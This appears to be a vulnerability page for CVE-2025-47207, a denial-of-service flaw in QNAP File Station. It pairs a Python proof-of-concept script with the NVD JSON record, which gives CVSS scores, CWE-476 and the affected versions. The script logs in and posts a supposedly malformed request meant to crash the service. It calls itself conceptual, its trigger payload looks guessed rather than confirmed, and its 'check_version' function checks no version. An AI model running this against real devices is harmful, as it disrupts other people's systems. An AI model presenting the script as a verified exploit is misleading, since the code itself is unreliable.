CVE-2025-47207

#!/usr/bin/env python3 # CVE-2025-47207 PoC - QNAP File Station NULL Pointer Dereference DoS # Note: This is a conceptual PoC. Actual exploitation requires valid credentials. import requests import sys def check_version(target_url): """Check if target is vulnerable by identifying version""" try: response = requests.get(f"{target_url}/cgi-bin/filestation/index.cgi", timeout=10) return response.status_code except requests.RequestException as e: print(f"Error: {e}") return None def exploit_dos(target_url, username, password): """ Trigger NULL pointer dereference by sending malformed request. Requires valid authentication credentials. """ login_url = f"{target_url}/cgi-bin/filestation/auth.cgi" dos_payload = { "app": "FileStation", "service": "file_transfer", "method": "get_file_list", "path": "/", "opt": "null" } # Step 1: Authenticate with valid credentials session = requests.Session() auth_data = { "username": username, "password": password } try: auth_response = session.post(login_url, data=auth_data, timeout=10) if auth_response.status_code == 200: # Step 2: Send DoS trigger payload dos_response = session.post( f"{target_url}/cgi-bin/filestation/index.cgi", json=dos_payload, timeout=10 ) return dos_response.status_code except requests.RequestException: return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve_2025_47207_poc.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2025-47207 on {target}") status = exploit_dos(target, user, pwd) if status: print(f"[+] Request sent, status code: {status}")

{"cve": {"id": "CVE-2025-47207", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:38.580", "lastModified": "2025-11-14T19:35:52.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability has been reported to affect several product versions. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.5018 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:file_station:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5.6.4691", "versionEndExcluding": "5.5.6.5018", "matchCriteriaId": "A8CD1AA7-AC4B-4100-9789-50556BA83F52"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-38", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}